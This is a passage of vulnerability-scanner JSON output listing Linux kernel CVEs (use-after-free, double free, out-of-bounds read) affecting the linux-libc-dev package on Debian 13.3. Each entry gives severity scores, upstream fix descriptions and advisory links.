"Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e776be5446715a8f317a8a2fc258c8510a12d2b5a94720d50a30d0e3f7e7d158", "Title": "kernel: Linux kernel (sched_ext): Use-After-Free vulnerability in scx_root_enable_workfn()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched_ext: Avoid UAF in scx_root_enable_workfn() init failure path\n\nIn scx_root_enable_workfn(), put_task_struct(p) is called before scx_error()\ndereferences p-\u003ecomm and p-\u003epid. If the iterator's reference is the last\ndrop, the task is freed synchronously and the deref becomes a UAF.\n\nMove put_task_struct() past scx_error().", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64226", "https://git.kernel.org/linus/9a415cc53711f2238e0f0ca8a6bcc796c003b127%20%287.1-rc4%29", "https://git.kernel.org/stable/c/45c7c4e3db8b700307313c035ea08be829a7f21b", "https://git.kernel.org/stable/c/57e19ba3f58a67eb924022a5a60b67fd08e5cbbd", "https://git.kernel.org/stable/c/9a415cc53711f2238e0f0ca8a6bcc796c003b127", "https://git.kernel.org/stable/c/cf396941901858b0de426cdcd3974eea6a02c98c", "https://lore.kernel.org/linux-cve-announce/2026072417-CVE-2026-64226-590d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64226", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-64226" ], "PublishedDate": "2026-07-24T16:16:51.673Z", "LastModifiedDate": "2026-08-13T12:01:44.86Z" }, { "VulnerabilityID": "CVE-2026-64237", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64237", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:93cd674ce954660a0f3bdc2e5493db9b6b6ee64426a45c3e0b4c6c2006ab3861", "Title": "kernel: Input: elan_i2c - validate firmware size before use", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nInput: elan_i2c - validate firmware size before use\n\nEnsure that the firmware file is large enough to contain the expected\nnumber of pages and the signature (which resides at the end of the\nfirmware blob) before accessing them to prevent potential out-of-bounds\nreads.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64237", "https://git.kernel.org/linus/76b0d0baa9ae9c60e726bbe1b6ff0bec2c993634%20%287.1-rc6%29", "https://git.kernel.org/stable/c/331d49b4e1c9efe4479bbd22922dfcdd8c64be7b", "https://git.kernel.org/stable/c/3b37190ad3ded3a15fb1dbfc4f26df520a3e59bb", "https://git.kernel.org/stable/c/47b52b98edfe34d0249e72f815215ef24311c3a3", "https://git.kernel.org/stable/c/48b0aa9c08a3ac8e0c0345b7ca581f552324e460", "https://git.kernel.org/stable/c/76b0d0baa9ae9c60e726bbe1b6ff0bec2c993634", "https://git.kernel.org/stable/c/bf769358419e00344c1b16fa034d058f563d46a1", "https://git.kernel.org/stable/c/c2c3b33b3c0bf2c9427c0926817ef5ffac50de6f", "https://git.kernel.org/stable/c/d97baee9590edf303b3eca432e61de9320834fe1", "https://linux.oracle.com/cve/CVE-2026-64237.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072440-CVE-2026-64237-3f9f@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64237", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64237" ], "PublishedDate": "2026-07-24T16:16:52.96Z", "LastModifiedDate": "2026-11-06T17:18:43.12Z" }, { "VulnerabilityID": "CVE-2026-64239", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64239", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd10b557fb827b1bbd24bf57350e5d79283b049844990a443512fd526c25cc1d", "Title": "kernel: mm/damon/sysfs-schemes: delete tried region in regions_rmdirs()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/damon/sysfs-schemes: delete tried region in regions_rmdirs()\n\nDAMON sysfs maintains the DAMOS tried region directory objects via a\nlinked list. When the user requests refresh of the directories, DAMON\nsysfs removes all the region directories first, and then generate updated\nregions directory on the empty space. The removal function\n(damon_sysfs_scheme_regions_rm_dirs()) only puts the kobj objects. \nDeletion of the container region object from the linked list is done\ninside the kobj release callback function.\n\nIf somehow the callback invocation is delayed, the list will contain\nregions list that gonna be freed. If the updated region directories\ncreation is started in this situation, the list can be corrupted and\nuse-after-free can happen.\n\nBecause the kobj objects are managed by only DAMON sysfs, the issue cannot\nhappen in normal situation. But, such delays can be made on kernels that\nbuilt with CONFIG_DEBUG_KOBJECT_RELEASE. On the kernel, the issue can\nindeed be reproduced like below.\n\n # damo start --damos_action stat\n # cd /sys/kernel/mm/damon/admin/kdamonds/0/\n # for i in {1..10}; do echo update_schemes_tried_regions \u003e state; done\n # dmesg | grep underflow\n [ 89.296152] refcount_t: underflow; use-after-free.\n\nFix the issue by removing the region object from the list when\ndecrementing the reference count.\n\nAlso update damos_sysfs_populate_region_dir() to add the region object to\nthe list only after the kobject_init_and_add() is success, so that fail of\nkobject_init_and_add() is not leaving the deallocated object on the list.\n\nThe issue was discovered [1] by Sashiko.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64239", "https://git.kernel.org/linus/441f92f7d386b85bad16de49db95a307cba048a2%20%287.1-rc6%29", "https://git.kernel.org/stable/c/0ba6c05156d9ff9fc6ca22b7690e2eec9eca66f7", "https://git.kernel.org/stable/c/2c33177023c92e76806c535ddbffaa3d3fc37777", "https://git.kernel.org/stable/c/441f92f7d386b85bad16de49db95a307cba048a2", "https://git.kernel.org/stable/c/a5fa42214de55e43d165144727ce9facb9fc6b08", "https://git.kernel.org/stable/c/c0e37017a452addec873865c94cf7a665663a9b2", "https://kernelcve.org/list/?q=CVE-2026-64239", "https://linux.oracle.com/cve/CVE-2026-64239.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072441-CVE-2026-64239-25b9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64239", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64239" ], "PublishedDate": "2026-07-24T16:16:53.193Z", "LastModifiedDate": "2026-11-06T17:18:43.49Z" }, { "VulnerabilityID": "CVE-2026-64242", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64242", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bda502ad119d22a12eba5febb86acecb696a94751b1b374b253c06ba4a317c62", "Title": "kernel: usb: gadget: net2280: Fix double free in probe error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: gadget: net2280: Fix double free in probe error path\n\nusb_initialize_gadget() installs gadget_release() as the release\ncallback for the embedded gadget device. The struct net2280 instance is\ntherefore released through gadget_release() when the gadget device's last\nreference is dropped.\n\nThe probe error path calls net2280_remove(), which tears down the\npartially initialized device and drops the gadget reference with\nusb_put_gadget(). Calling kfree(dev) afterwards can free the same object\nagain.\n\nDrop the explicit kfree() and let the gadget device release callback\nhandle the final free. This issue was found by a static analysis tool\nI am developing.", "Severity": "HIGH", "CweIDs": [ "CWE-415" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64242", "https://git.kernel.org/linus/c8547c74988e0b5f4cbb1b895e2a57aae084f070%20%287.1-rc6%29", "https://git.kernel.org/stable/c/085652fda7f38040d1a2c42d72614f418feb843f", "https://git.kernel.org/stable/c/48f89ead20e48d447ad29fa937b43b9fa981cf28", "https://git.kernel.org/stable/c/550fa4d071a8c8e53072900869d37ae6abf4999d", "https://git.kernel.org/stable/c/71b3391dc81655ff058492f8e9d013b2c6e5747b", "https://git.kernel.org/stable/c/c5b9fdb1e8ddf50bc6272927edb118679f170350", "https://git.kernel.org/stable/c/c8547c74988e0b5f4cbb1b895e2a57aae084f070", "https://git.kernel.org/stable/c/db2b72e83a0208ae2b3b270bf91662b1c6849a9b", "https://git.kernel.org/stable/c/e6f8be12f0307145b9a6010f044925952b37de8b", "https://lore.kernel.org/linux-cve-announce/2026072442-CVE-2026-64242-29e0@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64242", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64242" ], "PublishedDate": "2026-07-24T16:16:53.553Z", "LastModifiedDate": "2026-08-13T17:22:29.77Z" }, { "VulnerabilityID": "CVE-2026-64245", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64245", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c4d6764d4ca6bd800bfb11990179eab5e88122069daa110174c11b224c61f3c0", "Title": "kernel: fbdev: modedb: fix a possible UAF in fb_find_mode()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbdev: modedb: fix a possible UAF in fb_find_mode()\n\nIf mode_option is NULL, it is assigned from mode_option_buf:\n\n if (!mode_option) {\n fb_get_options(NULL, \u0026mode_option_buf);\n mode_option = mode_option_buf;\n }\n\nLater, name is assigned from mode_option:\n\n const char *name = mode_option;\n\nHowever, mode_option_buf is freed before name is no longer used:\n\n kfree(mode_option_buf);\n\nwhile name is still accessed by:\n\n if ((name_matches(db[i], name, namelen) ||\n\nSince name aliases mode_option_buf, this may result in a\nuse-after-free.\n\nFix this by extending the lifetime of mode_option_buf until the end of the\nfunction by using scope-based resource management for cleanup.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64245", "https://git.kernel.org/linus/85b6256469cebdac395e7447147e06b2e151014f%20%287.2-rc1%29", "https://git.kernel.org/stable/c/13b6f0cdd5cd5e60f682ec43134ab0e2024bd356", "https://git.kernel.org/stable/c/4d418cf8daf57e454b4d855bf9b2419fd8e6a540", "https://git.kernel.org/stable/c/85b6256469cebdac395e7447147e06b2e151014f", "https://git.kernel.org/stable/c/c7dc382439f7b019e207055b52e9cec051d42fa9", "https://git.kernel.org/stable/c/f906347d75c7fc377041c6d3c535d0f08846aada", "https://kernelcve.org/list/?q=CVE-2026-64245", "https://linux.oracle.com/cve/CVE-2026-64245.html", "https://linux.oracle.com/errata/ELSA-2026-500248.html", "https://lore.kernel.org/linux-cve-announce/2026072418-CVE-2026-64245-d57c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64245", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-64245" ], "PublishedDate": "2026-07-24T16:16:53.917Z", "LastModifiedDate": "2026-11-06T17:18:43.983Z" }, { "VulnerabilityID": "CVE-2026-64246", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64246", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7ab4dfc91d21cb958b96fa3f769c4bbff6ba38b61db26e8ec55634c29502d512", "Title": "kernel: power: reset: linkstation-poweroff: fix use-after-free in the linkstation_poweroff_init()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\npower: reset: linkstation-poweroff: fix use-after-free in the linkstation_poweroff_init()\n\nMove of_node_put(dn) after the of_match_node() call, which still needs\nthe node pointer. The node reference is correctly released after use.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64246", "https://git.kernel.org/linus/8eec545cde69e46e9a1d2b7d915ce4f5df85b3bd%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2205275be9be981e70ff29610b0117d8853fac70", "https://git.kernel.org/stable/c/3928ae803dee044b01076c478c279c0bd54164cd", "https://git.kernel.org/stable/c/8eec545cde69e46e9a1d2b7d915ce4f5df85b3bd", "https://git.kernel.org/stable/c/93c7ee139721936b6fa717572e74d3994603ae13", "https://git.kernel.org/stable/c/c04d606f8b35ee7d3ed243f63893a607e9d6c0bc", "https://git.kernel.org/stable/c/cdda7d384c05485a232ae9a849f6445accb095bf", "https://git.kernel.org/stable/c/d109e72f3fbccb540473285d17d7519584f7f76e", "https://lore.kernel.org/linux-cve-announce/2026072418-CVE-2026-64246-4a2c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64246", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64246" ], "PublishedDate": "2026-07-24T16:16:54.03Z", "LastModifiedDate": "2026-08-17T05:17:22.85Z" }, { "VulnerabilityID": "CVE-2026-64249", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64249", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:34d6c73d4aa24e09694ea81a0089991c250cf82e751e8039f62deed6069fc83c", "Title": "kernel: fpga: region: fix use-after-free in child_regions_with_firmware()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfpga: region: fix use-after-free in child_regions_with_firmware()\n\nMove of_node_put(child_region) after the error print to avoid accessing\nfreed memory when pr_err() references child_region.\n\n[ Yilun: Fix the Fixes tag ]", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 1, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64249", "https://git.kernel.org/linus/54f3c5643ec523a04b6ec0e7c19eb10f5ebebdd3%20%287.2-rc1%29", "https://git.kernel.org/stable/c/070b0ce947b18fa3dec0729695147f7e19599649", "https://git.kernel.org/stable/c/369496d885b4cf6e8647cf4dc5cf3ac68fdf37a1", "https://git.kernel.org/stable/c/54f3c5643ec523a04b6ec0e7c19eb10f5ebebdd3", "https://git.kernel.org/stable/c/5e098e40e8bac43ed58645c10d5fad781966efe4", "https://git.kernel.org/stable/c/866184fc7ae42a0070f1141ae8c5dca7c24a59e2", "https://git.kernel.org/stable/c/e79afcb0a66d2b3c33e510eade902537e656fc00", "https://git.kernel.org/stable/c/e918942bcc5355ad5b44ba557935dffc0727b0eb", "https://git.kernel.org/stable/c/fbaf509ad7cb2f7dafe73ca20c956104cfcc9d68", "https://lore.kernel.org/linux-cve-announce/2026072419-CVE-2026-64249-9700@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64249", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64249" ], "PublishedDate": "2026-07-24T16:16:54.45Z", "LastModifiedDate": "2026-08-17T05:17:23.283Z" }, { "VulnerabilityID": "CVE-2026-64265", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.96-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64265", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cf9ec6504956fa954b025f3d22edc39a29ea45b3e795bc117b6a1680141365d1", "Title": "kernel: fuse: clear intr_entry in fuse_resend and fuse_remove_pending_req", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nfuse: clear intr_entry in fuse_resend and fuse_remove_pending_req\n\nWhen fuse_resend() moves a request from fpq-\u003eprocessing back to\nfiq-\u003epending, it sets FR_PENDING and clears FR_SENT but does not\nremove the requests intr_entry from fiq-\u003einterrupts. If the\nrequest had FR_INTERRUPTED set from a prior signal, intr_entry\nremains dangling on fiq-\u003einterrupts. When the requesting task\nthen receives a fatal signal, fuse_remove_pending_req() sees\nFR_PENDING=1, removes the request from fiq-\u003epending and frees it\nvia the refcount path, also without cleaning intr_entry. The\nstale intr_entry causes use-after-free when fuse_read_interrupt()\niterates fiq-\u003einterrupts:\n - list_del_init(\u0026req-\u003eintr_entry) -\u003e UAF write on freed slab\n - req-\u003ein.h.unique -\u003e UAF read, data leaked to userspace\n\nRemove intr_entry from fiq-\u003einterrupts in fuse_resend() for\ninterrupted requests before they are placed back on fiq-\u003epending.\n\nAdd a WARN_ON if the intr_entry is not empty on request destruction.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64265", "https://access.redhat.com/errata/RHSA-2026:64775", "https://access.redhat.com/security/cve/CVE-2026-64265", "https://bugzilla.redhat.com/show_bug.cgi?id=2370992", "https://bugzilla.redhat.com/show_bug.cgi?id=2454807", "https://bugzilla.redhat.com/show_bug.cgi?id=2460736", "https://bugzilla.redhat.com/show_bug.cgi?id=2468102", "https://bugzilla.redhat.com/show_bug.cgi?id=2481936", "https://bugzilla.redhat.com/show_bug.cgi?id=2484456", "https://bugzilla.redhat.com/show_bug.cgi?id=2486463", "https://bugzilla.redhat.com/show_bug.cgi?id=2492097", "https://bugzilla.redhat.com/show_bug.cgi?id=2492295", "https://bugzilla.redhat.com/show_bug.cgi?id=2492725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492745", "https://bugzilla.redhat.com/show_bug.cgi?id=2492811", "https://bugzilla.redhat.com/show_bug.cgi?id=2492841", "https://bugzilla.redhat.com/show_bug.cgi?id=2492850", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502369", "https://bugzilla.redhat.com/show_bug.cgi?id=2507041", "https://bugzilla.redhat.com/show_bug.cgi?id=2507096", "https://bugzilla.redhat.com/show_bug.cgi?id=2507129", "https://bugzilla.redhat.com/show_bug.cgi?id=2510892", "https://bugzilla.redhat.com/show_bug.cgi?id=2511932", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-38004", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23442", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31503", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43339", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46015", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46306", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53075", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53223", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53235", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53259", 